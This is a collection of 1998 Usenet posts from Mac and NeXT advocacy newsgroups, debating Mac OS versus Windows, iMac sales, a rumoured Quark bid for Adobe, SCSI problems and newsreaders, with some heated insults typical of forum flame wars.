You miserable twerp.
Stop peddling your personal, anecdotal evidence.
You're stupid, you're ignorant.
Look, don't be so upset. I remember when it was *that* important to me.
I really believed, and everything. It was so important to me. I remember
making really embarassing statements like "the Macintosh is the most
productive computer there is, hands down. Nothing compares".
> Then go peddle your crap elsewhere. Nothing makes me more physically
> ill than somebody with an axe to grind, usually due to their own
> stupidity and lack of knowledge.
Nobody's impressed by the tantrums of an infant, least of all me. Get a
hold of yourself, you're an embarassment to everything you stand for.
MJP
From: John Kuszewski <johnk@spork.niddk.nih.gov>
Newsgroups: comp.sys.next.advocacy
Subject: CR1 beta?
Date: Wed, 26 Aug 1998 15:36:54 -0400
Organization: Nat'l Insts of Health
Message-ID: <35E463D6.79D7@spork.niddk.nih.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Hi,
I saw a little note on Macintouch the other day that some people
have reported seeing betas for MacOS X Server. What's the deal
with this? I'm an Apple developer, and I have RDR2, but I haven't
heard anything about, much less received a CD of, CR1 beta.
--
_____________
| ___/_
| |/ /
-- /\ // /--
|| || / /||
|| || / / ||
|| ||/ / ||
Dr. John Kuszewski || |/ /| ||
johnk@spork.niddk.nih.gov || / /|| ||
\/ / / || \/
that's MISTER protein G to you! |/__/| |
/_________|
My parents went to Zaire and all I got
was this lousy retrovirus.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 19:31:19 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s1nq7$9mj@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>apart from the synchronous nature of volume operations. I am at a loss
>to explain the parade of people who continually protest "I've never had
>that problem, how strange" in the face of incontrovertible first-hand
>evidence on my part.
Find it hard to handle people with experiences different from your own ?
Learn how to deal with it -- it happens all the time, you know.
-arun gupta
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 15:10:18 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E46BAA.2C74EA52@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <Michael.Peck@ericsson.com> wrote:
>
> >apart from the synchronous nature of volume operations. I am at a loss
> >to explain the parade of people who continually protest "I've never had
> >that problem, how strange" in the face of incontrovertible first-hand
> >evidence on my part.
>
> Find it hard to handle people with experiences different from your own ?
> Learn how to deal with it -- it happens all the time, you know.
Oh, don't worry, it's not a strain. After all, most of the people on my
planet agree with my experience, not with yours. How is it where you
live?
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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Cc: leebum@nottowayez.net
Organization: none
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
Mime-Version: 1.0
Date: Wed, 26 Aug 1998 18:32:14 GMT
In
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
Shelton Garner wrote:
> Like I've said before--what if Apple went with Linux instead. Then it
> could produce software that would run on both Mac and PC hardware
> systems as well as grow as Linux grew.
They can do that now with their current software base. They simply don't
_want_ to.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 19:43:40 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s1ohc$9od@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>I don't "hate" all things Apple. What I hate is the concept of people
>still out there who still have their heads in the sand, or worse, know
>what is up but are still trying to fool others out of some kind of
>foolish pride. Pardon me if some of my bitterness shows through, but
>nothing makes me more physically ill than these kinds of lies.
I'm sorry, but if everyone sees things different from you, it may not
be that they have their heads in the sand, or that they are trying to
fool others out of pride. It may simply be that you are wrong.
The only problem that I've had with the 7100/66 that I've had for four
years is that my external SCSI chain caused me problems. I had Zip,
two external HDs, and scanner. No matter how much I shortened the cables
and carefully seated and fastened the connectors, and made sure the thing
was correctly terminated; after several weeks something would go wrong --
typically I would get a freeze or a crash. (The machine was powered up and
down many times in this period). Simply redoing the external chain would
fix the problem. But I ended up removing devices from the chain.
-arun gupta
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: Wed, 26 Aug 1998 13:24:53 -0700
Organization: University of British Columbia
Message-ID: <1ded5xz.svl05e12zyeu8N@p023.intchg1.net.ubc.ca>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <SCOTT.98Aug25092451@slave.doubleu.com>
Scott Hess <scott@nospam.doubleu.com> wrote, among other things:
> Hopefully, Apple can start converting more than 1000 Wintel users per
> day. I've no doubt they can make more than 8000 [iMacs] a day, if
> desired... keep in mind that Wintel users are great crowd-followers.
> There may be a breakpoint where that 13% of purchases being
> conversions goes to 50% or better.
Little chance of this until Mac OS X is released and next-generation
PowerPC chips push the price/performance advantage farther still. Should
these two things happen and Apple advertising and design manage to keep
up the current pressure, things may begin to shift significantly.
--
Bruce Bennett
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 26 Aug 1998 13:24:47 -0700
Organization: University of British Columbia
Message-ID: <1ded5kr.3dj3ro1jtfqbkN@p023.intchg1.net.ubc.ca>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rr6013@yahoo.com> wrote:
> Anyone else find irony in Quark's proposed buyout of Adobe ?
Since Adobe is rumored to be preparing a "Quark-killer" replacement for
PageMaker, and since Quark itself has been experiencing some
difficulties of late in expanding its product line and in getting XPress
to output PDF, the buyout offer may well be more in the nature of a
publicity stunt.
--
Bruce Bennett
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 26 Aug 1998 13:51:40 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
In article <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>Anyone else find irony in Quark's proposed buyout of Adobe ?
Yes. Astonishment as well - that Adobe should blow it so severly as to
allow this to come to pass.
>url: http://interactive.wsj.com/articles/SB904089380264452000.htm
>
>Is Quark for Macintosh that much better than Pagemaker ;-)
Yes. Unfortunately. Though they both blow big chunks if you consider where
they were 5 years ago and consider what _could_ have been done with that
time. Quark is clearly the less screwed-up of the two apps.
>If Adobe can't hold onto its riches ±
> it''ll lose its niches...
>
>What is Adobe without it's niches?
An opportunity for Apple, perhaps. Adobe's apps for the Mac have suffered
severely by the focus paid to Windows development. If they lost money in
this market, it is their own doing, not declining MacOS sales, IMO. I
haven't sent Adobe money in a year - their Mac products just don't deserve
the price asked.
I think about Cyberstudio which was rumored to be getting bought by Adobe
(maybe that rumor was backwards? :-) but the product would have just
sucked to no end had it fallen into Adobe's hands. Now Apple might have an
interest in it - it's a great product in a critical market. Apple must
make sure it survives and thrives. It's close a killer app. Very
compelling, to say the least.
Adobe has apps that could carry the same weight if better married to Apple
technologies - Applescript, EOF, WO, Colorsync, etc. These are marriages
that Adobe would never make for fear of alienating their Windows
customers, but are technologies that Windows either can't reproduce or
can't reproduce well.
While Apple shouldn't piss off Quark or any of the other MacOS developers
by directly competing with them (unless absolutlely necessary), Apple
_should_ make sure that any divesture of Adobe products by an acquiring
Quark go to a friendly company. I'd hate to see K-2 and Frame go
Windows-only.
Perhaps an Apple buyout of Adobe and merger with Filemaker Inc., to create
the cross-platform application software arm of Apple computer?
Didn't we already go through the arguments for Apple buying Adobe?
-Bob Cassidy
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: RDF Watch
Date: 26 Aug 1998 21:58:34 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R2608981500540001@netnews.worldnet.att.net>
References: <6s1psh$9so@newsb.netnews.att.com>
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In article <6s1psh$9so@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Supposedly, anyone who likes Steve Jobs' performance has been
> affected by a Reality Distortion Field. Here is one :
>
> http://www.computerworld.com/home/print.nsf/all/980824634E
>
> "Apple turnaround is a Jobs well done", by Bill Laberis.
>
> -arun gupta
Hey, the RDF is all part of the package, baby! ;0)
Are the pundits also arguing that Macs, under Steve's watch, are
concurrently getting slower? Uglier? Less stable? More overpriced? Are we
being hypnotized into believing what's worse, is actually better? No, Macs
are fast, well-designed, more stable with every OS rev, and cheaper than
they've ever been. Due dilligence aside, it takes more than good products
to grow companies.
To combat the cult of Bill (and nobody can convince me that every PC is
sold based on sober, rational analysis, free from the overwhelmingly
enigmatic force that is Microsoft) the Jobsian RDF is a valuable tool.
Gates *wishes* he could be one tenth as persuasive...
From: "Rob Speed" <rspeed@cshore.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <6s03tm$g1o$2@ash.prod.itd.earthlink.net>
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 26 Aug 1998 19:54:34 -0400
Message-ID: <35e4a16b.0@news3.paonline.com>
I have a 333mhz PII from Dell which, when I bought it, cost $3,567
before tax and shipping. My new iMac arrived last week at a cost of $1,299
before shipping etc. First of all, Mac OS8 uses a maximum of 8MB after a
fresh install, with the exception of iMacs. There is an additional 3MB of
memory used by a file which replaces a number of ROM chips. This may seem
like a stupid idea at first, but the payoffs are huge. First of all, it
brings down the price a couple hundred bucks. That alone is worth it since
you can double the total amount of memory available with the money you saved
(and I did.) Secondly, it gives the computer a big speed boost. This is
because the bus is well more than twice the speed in RAM than ROM. I've
estimated that it's about as fast as a 266mhz G3, or about a 400mhz PII. Oh,
and Windows95/98 does NOT use 4MB of RAM, that's a bunch of bull...
-Rob Speed
http://www.cshore.com/rspeed
--------------------------------------------
>Con-Tiki wrote in message <35E38CF3.41CB9A34@geocities.com>...
>I've seen a G3 350.
>I tell you, my PII266 kicks the G3 I saw.
>The G3 is faster, but Mac O/s 8 uses to much Ram.
>Windows - 4mb
>Linux - 4mb
>Mac O/s 8 - 11mb
>That is the reason why.
>
>thanks
>bye
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 00:09:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s284a$k6t$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net> <6rvag9$51t$1@nnrp1.dejanews.com> <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net>
In article <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> My original claim was that there were probably no studies comparing the now
> obsolete OpenStep with Mac/Windows
You stated that "MacOS is the best user experience in computers. It is also
the most productive OS. This has been proven many times." This is at odds
with the above statement.
> Oh, dry up. If you put enough conditions on any statement, you can make it
> unsupportable. You are grasping and straws and being incredibly silly. In
> fact, you're beginning to sound like David Field. I'm for ending this
> particular discussion. I've made a more than reasonable effort to be
> fair about this.
And if you make a claim with too much breadth then it will probably be
demonstrably false. Your first claim (which I quoted above) is false because
it included all operating systems instead of just the Mac OS and Windows. Do
you think that we should just let obviously false claims sail by?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 26 Aug 1998 15:16:25 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6s18s9$61i$1@cronkite.cs.umd.edu>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <SCOTT.98Aug25091851@slave.doubleu.com>
NNTP-Posting-Date: 26 Aug 1998 15:16:25 GMT
Scott Hess (scott@nospam.doubleu.com) wrote:
: In article <6rtut5$css$1@nnrp1.dejanews.com>,
: Guys, doesn't this behavior totally make sense? Scroller management
: is handled by the application so, unless the application is
: multi-threaded, you can't scroll while the application is busy. The
: menu bar, OTOH, can be handled by the window server so you should
: be able to use it while the application is busy.
: Actually, it more than makes sense - it's essential that the default
: for most activities is to not happen when the user is "doing"
: something. Say, for instance, you have a terminal emulation
: application.
Yeah, Scott, like you know the first thing about writing terminal
emulation applications.
Sean Luke
seanl@cs.umd.edu
:-) <- for the smiley-impaired
From: DarnedToHeck@REMOVE.home.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <DarnedToHeck-2608982045230001@cc962257-a.vron1.nj.home.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <35e48b21.170417768@news.iafrica.com>
Organization: I take the fifth
Date: Thu, 27 Aug 1998 00:44:22 GMT
NNTP-Posting-Date: Wed, 26 Aug 1998 17:44:22 PDT
In article <35e48b21.170417768@news.iafrica.com>, cquirke@iafrica.com wrote:
> >You're Wrong. Apple does NOT make 'em. Imation makes 'em and they're
> >$200 not $90.
>
> Nope, not talking hi-capacity storage, just yer plain old diskette
> drive that is such a standard part of a computer that one doesn't
> think to ask about it. Only thing "special" about it is that it's an
> *Apple* diskette drive. And $90 was the reported price.
For as long as I know, Sony has made the floppy drives in all Macs. I was
under the impression it was Newer <http://www.newertech.com> that was
making the overpriced 1.4MB floppy drive.
--
...Paul McGrane
*As always, my email address is a fixer-upper*
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 22:27:44 GMT
Organization: Primenet (602)416-7000
Message-ID: <6s2250$oau$2@nnrp03.primenet.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1ohc$9od@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: The only problem that I've had with the 7100/66 that I've had for four
: years is that my external SCSI chain caused me problems. I had Zip,
: two external HDs, and scanner. No matter how much I shortened the cables
: and carefully seated and fastened the connectors, and made sure the thing
: was correctly terminated; after several weeks something would go wrong --
: typically I would get a freeze or a crash. (The machine was powered up and
: down many times in this period). Simply redoing the external chain would
: fix the problem. But I ended up removing devices from the chain.
I think SCSI is a black art. Manuals will tell you what a "correct"
configuration is, but I find that "correct" is what works. For instance,
_longer_ cables might cause things to settle down. I've seen people
running with 50' ribbon cables strung from the ceiling as part of their
SCSI bus, and it was working without problems (the "legal maximum" between
devices is something like 6'). I'm not saying anyone should try anything
really crazy when you have SCSI problems, just try a few device orders and
cable orders to see what works.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 26 Aug 1998 22:04:51 GMT
Organization: Primenet (602)416-7000
Message-ID: <6s20q3$oau$1@nnrp03.primenet.com>
References: <6s12qi$rk8$1@nnrp02.primenet.com> <B209A282-5D499@206.165.43.52>
Lawson wrote:
> OK, I've looked it over. I can see why you're calling it OOP (it is),
> but it certainly (as Michael has indicated) is no GX, although (as he's
> also indicated), it does other things that GX never addressed. [...]
Interesting post. There are certainly a lot of ways to slice 2D and 3D
APIs, and to support each in a multimedia environment. Left to my own
devices (and sufficient funding) I think I might favor a "minimum complete
2D API", with optional libraries atop that. Of course, it might take a
lot of coffee and dounuts to argue out what a "minumum complete 2D API"
is.
John
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: 27 Aug 1998 02:10:43 GMT
Organization: Michigan State University
Message-ID: <6s2f73$dv7$1@msunews.cl.msu.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rmcassid@uci.edu
In <rmcassid-2608981351410001@hephaestus.eng.uci.edu> Robert Cassidy
wrote:
> In article <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >Anyone else find irony in Quark's proposed buyout of Adobe ?
>
> Yes. Astonishment as well - that Adobe should blow it so severly as
to
> allow this to come to pass.
>
> >url: http://interactive.wsj.com/articles/SB904089380264452000.htm
> >
> >Is Quark for Macintosh that much better than Pagemaker ;-)
>
> Yes. Unfortunately. Though they both blow big chunks if you consider
where
> they were 5 years ago and consider what _could_ have been done with
that
> time. Quark is clearly the less screwed-up of the two apps.
>
> >If Adobe can't hold onto its riches ±
> > it''ll lose its niches...
> >
> >What is Adobe without it's niches?
>
> An opportunity for Apple, perhaps. Adobe's apps for the Mac have
suffered
> severely by the focus paid to Windows development. If they lost money
in
> this market, it is their own doing, not declining MacOS sales, IMO. I
> haven't sent Adobe money in a year - their Mac products just don't
deserve
> the price asked.
>
> I think about Cyberstudio which was rumored to be getting bought by
Adobe
> (maybe that rumor was backwards? :-) but the product would have just
> sucked to no end had it fallen into Adobe's hands. Now Apple might
have an
> interest in it - it's a great product in a critical market. Apple
must
> make sure it survives and thrives. It's close a killer app. Very
> compelling, to say the least.
>
> Adobe has apps that could carry the same weight if better married to
Apple
> technologies - Applescript, EOF, WO, Colorsync, etc. These are
marriages
> that Adobe would never make for fear of alienating their Windows
> customers, but are technologies that Windows either can't reproduce
or
> can't reproduce well.
>
> While Apple shouldn't piss off Quark or any of the other MacOS
developers
> by directly competing with them (unless absolutlely necessary), Apple
> _should_ make sure that any divesture of Adobe products by an
acquiring
> Quark go to a friendly company. I'd hate to see K-2 and Frame go
> Windows-only.
>
> Perhaps an Apple buyout of Adobe and merger with Filemaker Inc., to
create
> the cross-platform application software arm of Apple computer?
>
> Didn't we already go through the arguments for Apple buying Adobe?
Probably. Though I think it would be fascinating if Apple could team
up with
Quark to get at least one thing from Adobe namely DPS. It could save
them
a big headache redoing the display engine from the ground up..
I think its all smoke and no fire. Frankly There are two companies
that
won't get my money as long as possible MS and Adobe. Both have
somewhat
mediocre software products. And I suspect both will be punished by the
markets
in a timely fashion.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Thomas Long" <pcmacguy@mailexcite.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com> <joe.ragosta-2608980913590001@wil53.dol.net>
Subject: Re: Interesting aspect..
Message-ID: <7D3F1.82$wf3.723521@shore>
Date: Wed, 26 Aug 1998 22:35:58 -0400
NNTP-Posting-Date: Wed, 26 Aug 1998 22:36:51 EDT
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Joe Ragosta wrote in message ...
>In article <6s0ufu$ikd@news1.panix.com>, sal@panix.com wrote:
>
>> On 25 Aug 1998 11:01:05 GMT, Christian Neuss
>> <neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
>> >According to press reports Apple is building about 8000 iMacs a day,
>> >and around 13% of buyers are replacing Wintel machines. Well, provided
>> >Apple sells iMacs as fast as they can make them (which is probably
>>
>> According to a salesman at J&R computerworld in Manhattan, many of the
>> wintel folks that might buy an iMac are holding off purchase until Apple
>> (or someone else) offers a way to move files over from their old
machines.
>
>They did. Ethernet.
>
>Or IR.
>
>Or, connect a cable from one modem to the other.
>
>>
>> The salesman also mentioned that a crowd forms by the iMac shortly after
>> the doors open, and it stays like that all day.
>
>--
>Regards,
>Joe Ragosta
>See the Complete Macintosh Page at:
>http://www.taylor-design.com/cMacindex.html
The CompUSA I deal with says the lack of a floppy has prevented sales to
some first time computer types. No Teac or Imation drive has shipped yet.
The issue of larger files moving to a MAC from a PC has been brought up too.
Ethernet could be an answer, but older PC's generrally lack an ethernet
hookup. Brought up also was the lack of an Iomega Zip for moving PC files to
the MAC.
There have been 4 returns because no USB floppy has shipped yet accoding to
a sales friend I have there. Why does'nt MAC make the floopy as an
accessory? They could add a margin to it and be certain sales arn't lost
because of a simple floppy not being available.
My sales friend said though that he has switched a few iMAC types to other
G3's and feels some purchasers just need a little push to see the value in
the other models. The uniquness brings the new customes in he feels, a
little salesmanship can help position them to a more appropriate model
sometimes.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 27 Aug 1998 02:40:36 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6s2gv4$mg2$1@lwnws01.ne.highway1.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com> <Ey9r7o.41s@T-FCN.Net> <6s00n0$e40$1@lwnws01.ne.highway1.com> <EyAxu1.DoH@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6s00n0$e40$1@lwnws01.ne.highway1.com> John Kheit wrote:
> > It's likely a PD app made by one dude in a month or so.
>
> RadicalNews? Or mail.app?
Rad News.
> > I imagine any equivelent app on the mac would be worse or non
> > functional at all.
>
> John, stop right there, go out and use NewsWatcher. Really,
> your comments
> seem almost bizarre. Really, the best newsreader on any platform,
> for any OS, at any time, is MT-NewsWatcher.
I'll have to try it. Still, you know what I'm getting at Maury. I'm
guessing, and correct me if I'm wrong, NW is more a commercial venture than
PD. Technically Quake is shareware too, but it's a bigtime revenue generator
as compared to the *nothing* an OPENSTEP/NEXTSTEP person could expect. I
imagine significantly more than a month's programming effort was put towards
NW. So the fact that Alexandra.app doesn't have as much functionality and
refinement is pretty understandable. You know what I mean?
> > That's not really true. It doesn't require you to add that.
>
> No, but this should be completely invisible. At the _most_ it
> should be a
> popup with "sendmail" and "Custom..." items in it.
I diagree with you here. I think this example is one where you're wrong.
Though I agree with the general spirit of what you're driving at.
> > with that setting there. It's nice for those people that do
> > want to change it to something fancier, that the option exists.
> > Plenty of apps on the mac and windows have settings initialized
> > by the app that most people don't understand and simply don't
> > touch.
>
> Yes, but few require you to point to files in the bowls of the
> OS. This
> particular example may be bad, but there're all over the place!
Ok, fair enough. I think that example is bad, but in other cases it may be
good. Generally it's bad if it requires the average user to muddle with it
to get normal operation. If it's requiring an advanced twirl headed geek to
do something weird, then I think it's a nice thing to have, perhaps in an
"advanced settings" prefs panel. And mail.app does keep that field in the
Expert prefs panel.
> > It's nice to have the facility to touch
> > the settings if you know what your doing.
>
> Indeed, but that doesn't require a pathname to be entered.
Sure it should. It would be *nice* to have a browse item to automatically
select the location, I agree, but a type in is nice too. In places where
advanced operations are required, I don't like the insulting "don't touch
stuff, I'll get it for you dummy" kind of UI/wizard hell thingy. YMMV.
> > Regardless, if you're to not drag down the 1% (I think it's
> > more) of people that want to change that setting, you'll
> > eventually have to have a text
> field
> > entry for some of the custom entries, no matter how many popups,
> > etc.
>
> I don't think this is true at all, a browse button using the
> open dialog
> would do just as well, if not better.
True, although I think it would be better to have it in *conjunction* with
the text field. YMMV.
> > hide it behind. Though I do think it's nice to have the most
> > common
> entries
> > in a facility you talk of. OTOH, if so few people will touch
> > it, why
> bother.
>
> Indeed!
Scope ambiguity problem. I meant why bother with the popup. :)
> > Yea. It's great. Doing my thesis on it now.
>
> Thesis, word pro... thesis, word pro. Frame is built for long
> document
> creation, like, say, a thesis. It is not meant, not really
> suitable for, general WP tasks like a 2 page letter.
For a two page letter I use WriteUp, more than fine for that. For Briefs,
Memorandum, I use Frame. I really don't have a hole in functionality for my
purposes.
> > That's really weird. I've sent zillions of tar.gz, graphics,
> > etc via MIME and never had a problem.
>
> To whom?
To my friends. 95% of which use windows, another 80% of which just use the
integerated mailer in Netscape.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 27 Aug 1998 03:21:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s2jb1$oqh@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com>
On Wed, 26 Aug 1998 15:27:24 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>I've long advocated a
>more agnostic Apple that was willing to ship its key assets (UI polish,
>brand name, Yellow Box) on whatever OS, hardware, and in whatever
>markets seemed to dictate prudence.
Just because you advocate it doesn't mean that it is a sound business
decision.
The questions you might want to ask are:
How could Apple make money in this scenario? Compare the money Apple makes
on each Mac sold to the amount it might make on sales of a $100, $250 or
$1000 OS bundle.
How would their competition respond? What if Microsoft made Windows free?
